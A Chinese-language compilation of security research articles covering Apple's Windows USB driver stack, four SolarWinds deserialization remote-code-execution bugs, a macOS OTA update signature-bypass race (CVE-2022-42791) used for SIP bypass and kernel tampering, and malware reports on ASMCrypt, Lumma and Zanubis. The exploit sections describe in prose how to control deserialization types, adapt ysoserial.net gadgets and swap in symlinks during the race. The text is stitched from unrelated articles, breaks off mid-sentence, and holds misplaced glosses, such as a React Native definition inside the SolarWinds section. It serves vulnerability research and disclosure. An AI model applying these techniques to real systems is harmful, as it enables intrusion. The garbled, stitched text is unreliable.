由於此描述符將生成CompatibleId USB\Class_06SubClass_01Prot_01,因此尋找與此ID匹配的INF,我們找到wpdmtp.inf。在此INF中,可以獲得WPD設備的UMDF部分的以下組件:

WpdMtp.dll:MTP核心協議組件;

WpdMtpUS.dll:Usbscan MTP驅動程序的傳輸層;

WpdMtpDr.dll:Windows便攜式設備媒體傳輸協議驅動程序;

作為內核方面的一部分,INF將添加WinUSB.sys作為LowerFilter,並添加反射器WUDFRd.sys作為函數驅動程序。

從上面提到的三個二進製文件中,WpdMtpDr是將在WUDFHost中運行的主要WPD MTP驅動程序。這是一個UMDFv1驅動程序,它將基於COM並用C++編寫,基於WpdWudfSampleDriver,幾乎就不需要逆轉,但該驅動程序沒有更新為使用UMDFv2,因為UMDFv1幾乎已經被棄用,並且幾乎不支持新功能。

11.jpg

如上所述,入口點是OnDeviceAdd例程。在這個函數中,創建了CDevice對象,它將我們帶到CDevice:OnPrepareHardware例程,在該例程中,通過調用WpdBaseDriver:Initialize來初始化WpdBaseDriver。不幸的是,這是Sample代碼和WpdMtpDr開始出現差異的部分。示例代碼沒有真正的設備可以通信,但在本文的示例中,WpdMtp.dll的作用所在,充當WpdMtpDr和真正設備之間的粘合劑。 MTP核心庫包含CMtpDevice類,它表示真實的設備。在WpdBaseDriver初始化期間,加載MTP核心庫,並打開與設備的會話,如以下簡化代碼片段所示:

11.png

加載MTP核心模塊後,觸發初始化例程來檢索MTP DeviceInfo Dataset。這是發送到設備的初始MTP請求之一,DeviceInfo結構在其返回時填充。值得注意的是,該結構包含關鍵信息,如模型、製造商和各種MTP版本標識符。這些信息在稍後設置WPD屬性時起著至關重要的作用。

MTP核心發送請求並將響應解析為CDeviceInfo結構,而WpdMtpDr利用緩存系統存儲指向WpdMtp返回的類的COM指針。這種方法可以防止頻繁地向設備重新發出PTP/MTP請求,從而優化I/O操作。

下面的堆棧顯示了這個函數第一次被調用:

12.png

在UM中,WPD應用程序通常使用WPD API構建WPD命令,WPD API將序列化該WPD命令並將其打包到IOCTL請求中,這將到達驅動程序,驅動程序將反序列化命令並相應地採取行動。

一旦設備準備好接收I/O操作,操作系統將嘗試檢索WPD設備屬性,該信息存在於device objectID中(此objectID是預定義的,始終表示device對象)。這個請求將到達WPD驅動程序,它將用CDeviceInfo的信息填充WPD設備屬性。對於WPD_DEVICE_PROTOCOL的情況,該值將如何設置:

13.png

現在如果看一下iPhone返回的DeviceInfo Dataset,可以看VendorExtId和VendorExtVersion,可以最終回答為什麼WPD_DEVICE_PROTOCOL被設置為MTP 15.20。 MICROSOFT_VENDOR_EXT_ID是由MS作為WMDRM協議的一部分定義的,這是MTP響應器需要在DeviceInfo Dataset中設置的值之一,以告訴MTP啟動器它支持AAVT,令人驚訝的是,iPhone只添加了這個必需的值,而不是其他值。

14.jpg

該屬性將在函數CDevicePropContext:GetDeviceType上檢索,該函數將使用SetupAPI獲得compatibleid,無論協議是PTP還是MTP,設備中的每個存儲對象(由以s開頭的storageid表示)都有自己的屬性。同樣,當設備上開始I/O操作時,操作系統使用兩個關鍵操作從存儲對像中檢索信息:getstorageid (0x1004)(檢索storageid列表)和GetStorageInfo (0x1005)(定義存儲對象的行為方式)。我們將重點關注後者,因為它返回一個包含以下三個關鍵字段的StorageInfo數據集。

存儲類型

文件系統類型

訪問功能

當WPD驅動程序第一次嘗試獲取設備的StorageInfo時,該請求將通過MTP核心模塊。該模塊向設備發送PTP/MTP操作請求,並將結果StorageInfo數據集返回給驅動程序。

15.png

因此,如果看一下iPhone是如何響應這個請求的,將能夠根據上面提到的三個字段來確定Storage對象的行為。

16.jpg

我們可以從上圖得到以下信息:存儲類型==固定RAM,這是相當標準的移動設備。文件系統類型==DCF, DCF代表Camera FS的設計規則,你可以會從著名的DCIM根目錄中認出它。 DCF標准定義了在目錄和文件上設置只讀屬性的選項。訪問能力==只讀,不能刪除對象,這是致命的。這將定義對Storage對象的訪問限制,操作系統將遵守這些限制。例如,這將影響iPhone的上下文菜單中顯示的選項。

這就是為什麼iPhone上的文件選項如此有限。為了便於比較,下圖顯示了使用PTP插入小米設備時的StorageInfo數據集。

17.jpg

事實證明,這就是為什麼即使使用PTP協議連接,也能夠在小米設備上創建對象的原因。然而,值得注意的是小米的MTP響應器似乎有問題,無論在設備上選擇PTP還是MTP,在響應GetStorageInfo請求時都會返回相同的Dataset,至少在紅米Note 8模型上是這樣。

這樣,我們就可以更清楚地理解Apple設備的運行方式,以及如何為設備配置WPD屬性。

蘋果軟件對蘋果設備棧的影響接下來總結一下,當我們在主機上安裝iTunes時會發生什麼,以及它是如何實現諸如從設備複製文件之類的操作的。

如上所述,由於Storage對像中的限制,WPD API將僅在iPhone上提供有限的操作子集,然而,當安裝iTunes後,它增加了一個不同的層,可以更全面地訪問設備。

正如我們在AppleLowerFilter中看到的,一旦iTunes被安裝,它將允許設備選擇一個不同的USB配置描述符。沒有iTunes,我們被限制在配置1,另一方面,一旦iTunes被默認安裝,選擇的配置將是3。以下是這兩種配置及其接口:

18.png

選擇配置3,將使usbccgp生成deviceID USB\VID_xxxxPID_yyyyMI_01(01從bInterfaceNumber中提取)。這些deviceid是在appleusb中定義的。它定義了以下文件的副本:

19.png

這兩個驅動程序將成為被蘋果公司稱為“蘋果移動設備USB設備”設備的一部分,該設備使用專有協議而不是MTP或PTP與iPhone進行通信,可以通過查看libimobiledevice的源代碼來了解有關該協議的更多信息。一旦驅動程序安裝並運行,iTunes本身就會使用標準WPD API調用和定制的蘋果特定命令的組合與iPhone進行通信。這使得iTunes能夠提供從設備中復製文件、管理應用程序和備份以及更新設備固件等功能。

下圖提供了iPhone的整個設備堆棧的簡化概述,包括安裝iTunes和創建AppleUsbMux設備的場景:

20.jpg

總結在本文中,我們探討了蘋果的USB低級過濾器是如何在Windows設備上工作的,以及它在提供不同體驗方面的作用,還深入研究了Windows便攜式設備(WPD)和用戶模式驅動程序框架(UMDF)等主題,以更好地理解蘋果設備堆棧的內部工作原理。

我們談到WPD設備是如何初始化和設置的,這幫助我們了解了為什麼WPD設備協議屬性和Apple設備中接口描述符定義的類之間存在不匹配。我們還研究了WPD設備的Storage對像是如何設置的,以及它如何在不使用第三方軟件的情況下在iPhone上操作的限制中發揮作用。最後,我們簡要討論了安裝iTunes對蘋果移動設備棧的影響,以及iTunes如何妥善管理設備內容。

蘋果希望保護某些信息,限制與iPhone存儲交互的現成選項,但如果有一個更混合的解決方案,用戶可以在一定的限制下擁有更大的靈活性。雖然iTunes為管理iPhone內容提供了一個強大的解決方案,但有時安裝第三方軟件可能不是一個選擇。然而,隨著iTunes最近作為微軟商店應用程序的發布,這種限制可能會減少。

我們會在本文中詳細介紹四個在去年被修復的舊漏洞:

CVE-2022-38108;

CVE-2022-36957;

CVE-2022-36958;

CVE-2022-36964;

CVE-2022-38108這個漏洞已經在這篇博客文章中提到了。

簡單來說,幾個SolarWinds服務通過RabbitMQ實例相互通信,該實例可通過端口5671/TCP訪問。雖然訪問它需要憑據,但是高權限用戶可以通過SolarWinds Orion平台提取這些憑據,攻擊者利用CVE-2023-33225,它允許低權限用戶提取這些憑證。

該漏洞針對的是SolarWinds信息服務。為了向信息服務發送AMQP消息,必須將消息的Routing-Key設置為SwisPubSub,RoutingKey就是路由規則,消息對應的隊列。

1.png

AMQP消息中的Routing-Key

現在,讓我們來驗證SolarWinds是如何處理這些消息的,可以從EasyNetQ.Consumer.HandleBasicDeliver方法開始:

在[1]處,代碼檢索AMQP消息的屬性,這些屬性由發送消息的攻擊者控制。

在[2]處,它創建了一個執行上下文,其中包含AMQP消息屬性和消息正文。

在[3]處,它執行一個任務來使用消息。

這就需要Consume方法。

在[1]處,EasyNetQ.DefaultMessageSerializationStrategy.DeserializeMessage被調用,它接受輸入的消息屬性和消息正文。調用名為DeSerialize的方法並返回type類型的輸出,作為輸入,它從消息中接受Type屬性。

我們可以通過AMQP消息屬性控制messageType類型!

在[2]處,它調用BytesToMessage,同時接受攻擊者控制的類型和輸入的消息正文。

在[1]處,消息正文被解碼為UTF-8字符串。它應該包含JSON格式的數據。在[2]處,執行反序列化。我們控制目標類型和序列化負載。在[3]處,可以看到TypeNameHandling反序列化設置被設置為Auto。

現在,我們需要遠超需要實現的遠程代碼。要做到這一點,我們必鬚髮送一個AMQP消息,其中Type屬性設置為危險類型。

2.png

通過AMQP屬性控制反序列化類型

在消息正文中,我們必須傳播相應的JSON.NETgadget(有潛在可以被利用的代碼片段)。本文使用了ysosserial.net中的一個簡單的WindowsPrincipalgadget,它是內部存儲的BinaryFormattergadget的橋樑,JSON反序列化後,RCE將通過底層BinaryFormatter反序列化來實現。

這樣,就可以通過遠程執行惡意代碼來控制目標系統的漏洞!

CVE-2022-36957在之前的漏洞中,我們能夠通過AMQP屬性完全控制目標反序列化類型。當發現這樣的漏洞時,我們需要知道合法消息是什麼樣子?我們經常檢查在典型產品操作過程中反序列化的類型。

我們很快意識到SolarWinds只發送一種類型的信息,即SolarWinds.MessageBus.Models.Indication。

現在我們分析一下這種類型:在[1]和[2]處,我們可以看到兩個類型為SolarWinds.MessageBus.Models.PropertyBag的公共成員。

在[1]處,您可以看到所討論的類的定義,SolarWinds.MessageBus.Models.PropertyBag。

在[2]處,為該類註冊了一個自定義轉換器SolarWinds.MessageBus.Models.PropertyBagJsonConverter。它實現了ReadJson方法,該方法將在反序列化過程中調用。

在[1]處,代碼遍歷JSON屬性;在[2]處,檢索JSON值並將其轉換為jobobject類型;在[3]處,根據存儲在t鍵中的值檢索Type;在[4]處,存儲在v鍵中的對像被反序列化,此時我們再次控制目標反序列化類型。

你可以看到,我們再次控制了反序列化類型,該類型通過JSON鍵傳播,序列化的有效負載通過v鍵傳播。

現在,我們可以獲取任何屬性,例如:IndicationId。然後,我們需要:

1.將t鍵的值設置為惡意類型的名稱。

2.在v鍵的值中放入惡意序列化的有效負載。

由於JSON反序列化設置被設置為TypeNameHandling.Auto。現在,讓我們看一下上面描述的第一個漏洞,CVE-2022-38108,通過將目標反序列化類型硬編碼到SolarWinds.MessageBus.Models.Indication來修復。畢竟,這是唯一需要反序列化的合法類型。

這個修正是不夠的,因為SolarWinds.MessageBus.Models.Indication可以用來傳播一個攻擊者控制類型的內部對象。通過控制類型,我們就可以通過遠程執行惡意代碼來控制目標系統的漏洞!

CVE-2022-36958SolarWinds定義了一些稱為“SWIS動詞”的內部方法/操作。這些動詞可以是:

1.通過API直接調用。

2.通過Orion平台Web UI間接調用(Orion平台內部調用動詞)。

關於SWIS動詞,我們需要了解以下2點:

1.它們是使用XML結構中的有效負載調用的。

2.它們接受預定義類型的參數。

例如,Orion.AgentManagement.Agent.Deploy動詞接受12個參數。下面的屏幕截圖顯示了這些參數及其相應的類型。

33.png

Orion.AgentManagement.Agent.Deploy的參數

參數的處理是通過方法SolarWinds.InformationService.Verb. VerbExecutorContext.UnpackageParameters(XmlElement[], Stream)執行的。

在[1]處,檢索給定動詞參數的Type;在[2]處,使用檢索到的參數類型初始化DataContractSerializer;在[3]和[4]處,參數被反序列化。

這是正在處理一個DataContractSerializer。不過,這樣我們無法控制反序列化類型。

目前已找到了一些可濫用的PropertyBag類,通過進一步分析,有多個SWIS動詞接受名為SolarWinds.InformationService.Addons.PropertyBag類型的參數。我們可以提供任意XML,將其反序列化為這種類型的對象。

在[1]處,定義了ReadXml方法,它將在反序列化期間被調用;在[2]處,代碼遍歷所提供的項;在[3]處,檢索到關鍵元素。如果存在,則繼續執行代碼;在[4]處,檢索type元素的值。人們可以放心地猜測它接下來如何執行;在[5]處,檢索到value元素;在[6]處,調用Deserialize方法,輸入值和類型標記中包含的數據;在[7]處,序列化的有效負載和類型名稱被傳播給SolarWinds.InformationService.Serialization.SerializationHelper.Deserialize方法。

同樣,類型和序列化的有效負載都由攻擊者控制。讓我們檢查一下這個反序列化方法。在[1]處,代碼檢查所提供的類型是否被緩存。如果不是,則從[2]處的字符串中檢索類型。在[3]處,調用靜態的DeserializeFromStrippedXml。靜態的DeserializeFromStrippedXml方法通過調用SerializationHelper.serializerCache.GetSerializer(type)來檢索序列化器對象。然後,它在檢索到的序列化器對像上調用(非靜態)DeserializeFromStrippedXml(string)方法。

如何檢索序列化器在[1]處,代碼嘗試從緩存中檢索序列化器。在緩存缺失的情況下,它通過調用GetSerializerInternal([2])來檢索序列化器,因此我們繼續使用GetSerializerInternal進行調查。

在[3]處,根據攻擊者控制的類型檢索XmlTypeMapping。它沒有執行任何安全措施。它僅用於檢索關於給定類型的一些基本信息。

在[4]處,初始化XmlStrippedSerializer對象。為構造函數提供了四個參數:

1.一個新的XmlSerializer實例,其中序列化器的類型由攻擊者控制。

2.目標類型的XsdElementName,從XmlTypeMapping獲得。

3.該類型的Namespace,也是從XmlTypeMapping獲得的。

4.類型本身。

到目前為止,我們可以發現:

1.我們正在切換反序列化器。使用DataContractSerializer對整個SWIS動詞有效負載和參數進行反序列化。但是,PropertyBag對象最終將使用XmlSerializer進行反序列化。

2.我們完全控制提供給XmlSerializer構造函數的類型,這是利用它的關鍵條件。

似乎我們有它,通過反序列化中的類型控制的另一個RCE。由於XmlSerializer可能會通過ObjectDataProvider被濫用,我們可以將目標反序列化類型設置為以下類型:

3.png

但是,在成功利用漏洞之前,還有必要分析XmlStrippedSerializer.DeserializeFromStrippedXml(String) 。

可以發現,在[1]處,正在創建一個新的XML字符串。它的結構如下:

4.png

綜上所述:

1.攻擊者的XML被一個從傳播的類型派生的標記封裝,請參閱GetSerializerInternal方法。

2.檢索到的Namespace被插入到xmlns屬性中。攻擊者控制最終XML的主要片段並控制類型。然而,由於自定義的XML封裝,ysosserial.netgadget將無法開箱即用。

生成的gadget如下所示:

第一個標記等於ExpandedWrapperOfLosFormatterObjectDataProvider。此標記將由DeserializeFromStripedXml方法自動生成,因此我們需要將其從生成的有效負載中刪除!當我們這樣做時,下面的XML將被傳播給XmlSerializer.Deserialize方法。

當你比較原始的ysosserial.net gadget和我們當前的gadget時,可以發現一個很大的區別:

1.原始gadget在根標記中定義了兩個名稱空間:xsi和xsd。

2.當前gadget僅包含一個空xmlns屬性。

ObjectInstance標記依賴於xsi命名空間。因此,反序列化將失敗。

幸運的是,不必在根標籤(roottag)中專門定義命名空間,RootTag是用於標記React Native 原生根視圖層的不透明標識符(opaque identifier)。因此,我們可以通過在ProjectedProperty0標記中定義這兩個名稱空間來修復gadget。

通過這種方式,我們得到了第三個RCE,這樣,我們就完全控制了目標反序列化類型。

CVE-2022-36964技術層面,該漏洞與CVE-2022-36958相同,但是,它存在於共享ReadXml方法的相同實現的不同類中。在本例中,易受攻擊的類是SolarWinds.InformationService.Contract2.PropertyBag。

TestAlertingAction SWIS動詞接受此類型的參數,因此該漏洞可通過API加以利用。

總結我們在本文介紹了SolarWinds中的四個不同的反序列化漏洞,攻擊者可以使用這些漏洞控制反序列化對象的類型,以及介紹瞭如何通過使用自定義反序列化gadget繞過它們。目前,SolarWinds也對這些繞過進行了修復。

蘋果的OTA更新在大多數情況下,macOS更新是通過OTA更新過程完成的。

OTA是over-the-air的縮寫。在“系統設置”中,我們可以通過點擊“立即更新”按鈕直接更新系統。

1.png

OTA更新是一種增量更新,因此比完整的操作系統升級更快,容量更小。

它用於小版本更新,通常每兩個月更新一次。但是,如果蘋果公司認為內核中存在緊急漏洞,並且已經被積極利用,並且無法通過RSR(快速安全響應)修復,則可能在幾週內可用,OTA更新包從Apple CDN服務器下載。

2.png

從表中可以看到,OTA包是針對當前操作系統版本定制的。

例如,為了更新到12.6,12.5和12.4的軟件包是不同的。更新過程是應用補丁碼,所以不同的操作系統版本有不同的補丁碼。在大多數情況下,系統越老,包就越大。

下載並解壓縮OTA包後,我們可以看到包的內容如下:

3.png

引導目錄包含與引導過程相關的內容,增量更新的真正補丁代碼位於名為payloadv2的目錄中。有一個名為payload.bom的關鍵文件,它列出了OTA包中的所有項目及其校驗和值。文件payload.bom.signature用於驗證payload.bom文件的完整性。文件pre.bom和post.bom列出了更新前後系統上的所有項目及其校驗和值。 Info.plist文件提供了有關當前OTA包的一些基本信息,例如預版本、目標版本等。

在payloadv2文件夾中,有一些需要注意的重要文件。新系統中的新數據文件被壓縮為名為data_payload的文件。 ecc_data文件夾包含一些與文件權限相關的文件。 links.txt文件列出了新系統的所有硬鏈接。 removed.txt文件列出了需要從當前系統中刪除的所有項目。

更新階段一般的更新過程可以抽象為3個階段。

4.png

第一步是下載並解壓縮UpdateBrainService 捆綁包。

第二階段是下載並解壓縮OTA包。

第三個階段是使用OTA包生成UpdateBrainService。

那麼,系統從哪裡下載UpdateBrainService呢?

經過一些研究,我發現下載網址位於XML文件/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain. XML:

5.png

從這個文件中,我們可以看到基本URL和構建完整URL的相對路徑。它還包含版本、發布日期、包大小、SHA1值和其他有用的信息。

第一階段6.png

獲取下載URL後,進程nsurlessiond負責將UpdateBrainService下載到臨時目錄。同時,com.apple.StreamingUnzipService將其解壓縮到相同的臨時位置。接下來,mobileassetd進程將解壓的內容移動到可信位置,/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/。最後,在啟動的進程生成UpdateBrainService之前,xpc服務包將被複製到它的暫存路徑。

第二階段第二階段與第一階段相似:

7.png

不同之處在於xml路徑/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/com_apple_MobileAsset_MacSoftwareUpdate.xml,

下載url和目標位置/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/。

第三階段第三個階段是UpdateBrainService本身。

特定的xpc服務有許多有趣的權限:

8.png

例如,“com.apple.rootless.install.heritable”授予其自身及其所有子進程修改SIP保護位置的權限。此外,“com.apple.apfs.reverse to snapshot”和“com.apple.private.apfs.create sealed snapshot(創建密封快照)”權限可能允許服務在重新啟動後更新受SSV保護的內容。

我們還應該注意的一點是,它是用標誌庫驗證進行簽名的。因此,我們不能通過將動態庫注入到這項服務中來直接享受這些權限。

逆轉UpdateBrainService

com.apple.MobileSoftwareUpdate.UpdateBrainService2

通過簡單的逆向工程,我們發現它提供了一個名為com.apple.MobileSoftwareUpdate.UpdaterainService2的mach服務,該服務具有一個稱為MSUBrainPrivateSXPCI接口的協議。

9.png

它通過在委託方法中返回YES直接接受來自任何客戶端的所有xpc連接:

10.png

但在研究過程中,我意識到服務中的協議方法沒有實現,所以我可能會在未來的版本中再次檢查。

com.apple.MobileSoftwareUpdate.UpdateBrainService

還有一個名為com.apple.MobileSoftwareUpdate.UpdateBrainService的服務。它是通過C語言的低級XPC API實現的:

11.png

在xpchandler(Handler主要用於異步消息的處理:當發出一個消息之後,首先進入一個消息隊列,發送消息的函數即刻返回,而另外一個部分在消息隊列中逐一將消息取出,然後對消息進行處理,也就是發送消息和接收消息不是同步的處理。)方法中,我們可以看到它通過一個全局數組來調度xpc請求:

12.png

如果xpc客戶機具有相應請求所需的權限,則服務將相應地調用處理例程函數。

全局調度表有7個元素,每個元素有3個成員:操作的名稱、所需的權限字符串和實際處理例程函數的地址。

13.png

繞過簽名驗證(CVE-2022-42791)修改包可以在應用補丁之前修改OTA包嗎?回顧之前討論過更新的第二階段,可以確認OTA包的最終路徑(/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/)被SIP保護。

但是,提取的內容首先被放置在一個臨時位置(/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/

com.apple.nsurlsessiond/CFNetworkDownload_XXXXXX.tmp/[hash].asset),完全不受限制,它由nsurlsessiond所有,根用戶可以直接修改它。

因此,在mobileasseted進程移動到最終可信位置之前,有一個修改內容的時間窗口。因此,可信位置中的OTA包的內容是不可信的,需要進行驗證。

當我嘗試替換有效負載時。由於權限問題,mobileassetd進程無法調用文件API,因此拒絕移動到最終路徑:

14.png

但事實是,一旦通過檢測,它將調用API rename來移動包內容。所以我很早就替換了目標文件。

但一個成功的日誌是什麼樣的呢,如下圖所示:

15.png

幸運的是,有一個關鍵字字符串(“Moving file in …”)表明通過檢查的時間窗口。因此,一旦從日誌中監控到該關鍵字,我就可以替換目標文件。

接下來,我將進行第二次嘗試:

監控日誌,一旦檢測到關鍵字“Moving file”,就立即從OTA包中替換目標文件。

然後,被篡改的內容成功地傳輸到最終的可信位置!

但是,UpdateBrainService停止準備操作系統更新。

OTA包驗證此服務的職責是從可信位置驗證不可信的OTA包的內容。那麼,它如何驗證OTA包呢?

如上所述,payload.bom文件列出OTA包中的所有項目及其校驗和值:

16.png

下面是驗證包內容的函數:

17.png

它打開文件payload.bom並讀取其內容。接下來,該函數將payload.bom文件中指定的文件摘要值與最終路徑上的真實摘要值進行比較:

18.png

如果其中一個摘要值不等於期望值,則該函數返回false並且驗證失敗。

它如何驗證payload.Bom文件本身?另一個名為verify_package_signature的函數負責驗證:

19.png

首先,它打開payload.bom文件併計算其SHA1值。然後打開payload. dom .signature文件並讀取簽名文件內容。

接下來,它從系統證書文件(/System/Library/SoftwareUpdateCertificates/iPhoneSoftwareUpdate.pem)中獲取公鑰,該文件受SIP和SSV保護:

20.png

最後,它通過調用來自Security.framework的API seckeyverifysignsignature,用公鑰計算出的SHA1值和簽名文件內容驗證簽名:

21.png

TOCTOU漏洞這樣,在驗證中存在一個經典的TOCTOU (Time-Of-Check-Time-Of-Use)漏洞:

22.png

位於受信任位置的payload.bom文件不能直接修改,但我們可以在mobileassetd進程移動OTA包之前用符號鏈接替換它。因此,可以使用符號鏈接隨時修改payload.bom文件。

接下來,在函數verify_package_signature中,它根據符號鏈接從受控位置讀取BOM文件,因此我們使用原始payload.BOM來通過檢查。

然後在函數verify_package_contents中,它也遵循符號鏈接並使用受控BOM文件驗證OTA包中的所有其他項。所以現在,我們可以模擬payload.bom文件以替換OTA包中的所有其他項。

經過三次嘗試,終於實現了:

將原始payload.bom複製到受控位置/tmp/ppayload.bcom。

監控日誌,一旦檢測到關鍵字“Moving file”,就用指向/tmp/playload.bom的符號鏈接替換payload.bom。

符號鏈接(/tmp/payload.bom)已成功移動到最終受信任的位置!

在傳遞函數verify_package_signature後,偽造BOM文件(/tmp/payload.bom) 。

現在,OTA包中的所有項目都可以被篡改!

漏洞利用1:SIP繞過第一個漏洞是繞過SIP,這很容易做到。

函數ParallelPatchRemoveFiles讀取OTA包中的deleted .txt文件,並刪除txt文件中指定的所有項:

23.png

因此,我可以通過修改txt文件獲得一個原語來刪除任意受sip保護的路徑。

該漏洞適用於所有Mac平台,包括英特爾Mac和Apple Silicon Mac。

漏洞利用2:攻擊內核那麼,我可以劫持新的操作系統內核嗎?

使用SSV

繞過SIP後直接劫持OS內核的挑戰是SSV保護。

signed system volume (SSV)是macOS Big Sur中引入的新功能。在SIP被繞過的情況下,它仍然使用隔離的只讀系統卷來保護系統文件。

24.png

最基本的事實是,蘋果需要通過OTA更新來更新操作系統內核文件。因此,OTA更新過程必須具備突破SSV保護的能力。

但是這個過程是如何完成的呢?

macOS系統有一個隱藏的更新卷(/System/Volumes/Update/mnt1),它是當前操作系統的快照。然後將所有補丁應用於該快照。如果更新過程成功,它將更新密封值並引導新的操作系統。如果更新失敗,它將恢復到以前的快照。

在深入研究了UpdateBrainService之後,我總結了OTA更新過程中的關鍵工作流,如下所示:

25.png

首次嘗試首次嘗試是通過有效負載提取函數釋放一個精心製作的內核文件。

製作data_payload的步驟如下:

26.png

在OTA更新過程中,按照預期將精心製作的data_payload提取到快照中。

不過,重啟後它就不起作用了,目前還不確定是什麼原因。

第二次嘗試我的第二種方法是濫用應用修復的copy_patched_files函數。這與OTA更新過程更新內核的方式相同。

然而,困難在於我必須自己創建修復文件,它是BXDIFF 5格式的,並且沒有文檔記錄。所以,我必須先研究一下文件格式。

BXDIFF 5文件格式穀歌搜索這個文件格式後,我找到兩個GitHub存儲庫,它們都用於將修復文件應用於舊文件,然後生成新文件。但是,我需要基於兩個不同的文件生成一個修復文件。

但它們確實幫助我理解了文件格式,通過閱讀代碼,我知道BXDIFF 5文件由4部分組成:Header, Control, Diff和Extra。

Header部分的大小為88字節,前8個字節是硬編碼的魔術數字:

27.png

紅色的部分是未知的,似乎是無用的。綠色部分為修復前後的哈希值,用於驗證修復是否成功。藍色部分是以下部分的大小。

Control部分使用LZMA算法進行壓縮,解壓後的Control段數據為24字節,由3種控制命令組成:

28.png

第一個是混合長度,它指定從Diff部分混合多少字節。第二個是複制長度,第三個是查找長度。

Diff部分和Extra部分也是LZMA壓縮的。解壓縮後,數據是一個原始字節數組,以前由Control部分使用。

製作一個精心製作的修復程序文件我的目標是替換內核中系統命令uname的輸出字符串。所以我應該修改Diff部分。

首先,使用以下腳本計算Diff節中的新字節。

29.png

然後計

sl_monster_head_code_abstract-1200x600.jpg只要攻擊者想賺錢,他們就會不斷開發惡意程序,只要他們不斷開發惡意程序,研究人員就會不斷分析。例如,研究人員發布了一份關於在地下論壇上發現的新惡意程序的報告,研究人員稱之為ASMCrypt,它與DoubleFinger加載程序有關。

但攻擊事件層出不窮,研究人員發布了關於新版Lumma竊取程序和Zanubis Android銀行木馬的報告。 Lumma通過從受感染的設備和已安裝的應用程序中收集敏感信息,LummaC2 是輕量級的,大小僅為150-200 KB,可以感染從Windows 7 到Windows 11 的所有操作系統。

LummaC2 惡意程序能夠從用戶的計算機收集密碼、信用卡號、銀行賬戶和其他個人信息。它還可以訪問存儲在Web 瀏覽器(例如Chrome 和Firefox)中的數據,此外,LummaC2 可以在用戶不知情的情況下截取用戶的桌面或活動窗口,這使攻擊者能夠訪問可用於經濟利益或身份盜用的敏感數據。

Zanubis 木馬是一種針對Android 設備的惡意程序,屬於銀行木馬,這是一種旨在盜取銀行憑證的程序。之後,攻擊者可以訪問被攻擊的賬戶並將受害者的資金轉移到他們自己的賬戶中, 與大多數銀行木馬一樣,Zanubis 也利用Android 無障礙服務來執行其操作。

這一合法的Android 功能旨在幫助殘障用戶更輕鬆、更充實地操作他們的智能設備, 此外,Zanubis 還會收集各種設備詳細信息,包括製造商、設備型號、已安裝應用程序列表、受害者的聯繫人列表、指紋等。另外,它還可以獲得電池權限,以避免在用戶激活任何電池優化過程時被強制進入“睡眠”模式。 Zanubis 的運營商還可以向受害者發送SMS 消息或顯示選定的通知,他們甚至可能刪除特定應用程序或鎖定受感染設備的屏幕。

ASMCrypt研究人員監控著許多地下論壇,在其中一個網站上,他們看到了一則廣告,上面正在宣傳一種名為ASMCrypt的新密碼/加載程序變體。這種類型的惡意程序背後的想法是,在沒有加載過程或有效負載本身被AV/EDR等檢測到的情況下加載最終有效負載。這聽起來很像之前介紹的DoubleFinger加載程序。

事實上,經過仔細分析,研究人員高度相信ASMCrypt是DoubleFinger的迭代版。然而,ASMCrypt的工作方式略有不同,它更像是運行在TOR網絡上的實際服務的“前台”。

那麼它是如何工作的呢?首先,購買者獲得ASMCrypt二進製文件,該二進製文件通過TOR網絡使用硬編碼憑據連接到惡意程序的後端服務。如果一切正常,將顯示選項菜單:

1.png

買方可以從以下選項中進行選擇:

隱形或隱形注射方式;

有效負載應注入的進程;

用於啟動持久性的文件夾名稱;

Stub類型:要么是偽裝成Apple QuickTime的惡意程序本身,要么是側加載惡意DLL的合法應用程序。

選擇所有所需選項並按下構建按鈕後,應用程序將創建一個隱藏在.png文件中的加密blob,此圖像必須上傳到圖像託管網站。最後一點提到的惡意DLL或二進製文件也會被創建並被傳播。

當惡意DLL在受害系統上執行時,它會下載.png文件,對其進行解密,將其加載到內存中,然後執行。

LummaArkei竊取程序是用c++編寫的,於2018年5月首次出現,在過去幾年中已經多次被迭代或重新命名。它曾被稱為Vidar, Oski, Mars和現在的Lumma,與Arkei有46%的重疊。隨著時間的推移,所有變體的主要功能均保持不變,從加密錢包竊取緩存文件、配置文件和日誌,它可以通過充當瀏覽器插件來實現這一點,但它也支持獨立的Binance應用程序。

但首先是感染媒介。 Lumma是通過一個模仿合法.docx到.pdf網站的偽造網站傳播的。上傳文件時,返回的文件擴展名為.pdf.exe。

Lumma於2022年8月首次被發現,當時研究人員是在新檢測到的樣本中被發現的。大約在同一時間,網絡安全愛好者Fumik0_tweeted發現,Lumma是Mars的“迭代/重構”。從那時起,Lumma經歷了許多變化。

截至目前,研究人員只發現一個樣本(MD5 6b4c224c16e852bdc7ed2001597cde9d)具有收集系統進程列表的功能,同一個樣本還使用了不同的URL與C2通信(/winsock而不是/socket.php)。

研究人員還發現了一個樣本(MD5 844ab1b8a2db0242a20a6f3bbeedf6 b),它似乎是一個調試版本,當到達某些代碼片段時,將向C2發送一個通知。同樣,它使用了一個不同的URL(/wwindg)。

在最近的一個樣本(MD5 a09daf5791d8fd4b5843cd38ae37cf97)中,攻擊者將User-Agent字段更改為“HTTP/1.1”。目前尚不清楚為什麼要這樣做。

儘管之前的所有樣本(包括上面提到的三個樣本),都從C2下載了用於32位系統的附加庫,以便可以解析特定的瀏覽器相關文件(例如密碼等),但MD5 5ac51312dfd99bf4e88be482f734c79只需將整個數據庫上傳到C2。

MD5 d1f506b59908e3389c83a3a8e8da3276具有字符串加密算法。它們現在被十六進制編碼並使用異或密鑰(字符串的前4個字節)加密。

研究人員看到的最大變化之一涉及MD5 c2a9151e0e9f417e555cf90300b45c9,此樣本支持從C2檢索的動態配置文件。此配置是Base64編碼的,並與配置文件的前32個字節進行異或。

2.png

“debugging”樣本的代碼段

ZanubisZanubis是一個Android銀行木馬,最早出現在2022年8月左右,目標是秘魯的金融機構和加密貨幣交易所用戶。 Zanubis的主要感染途徑是通過模仿合法的秘魯Android應用程序,然後欺騙用戶啟用可訪問性權限,從而完全控制設備。

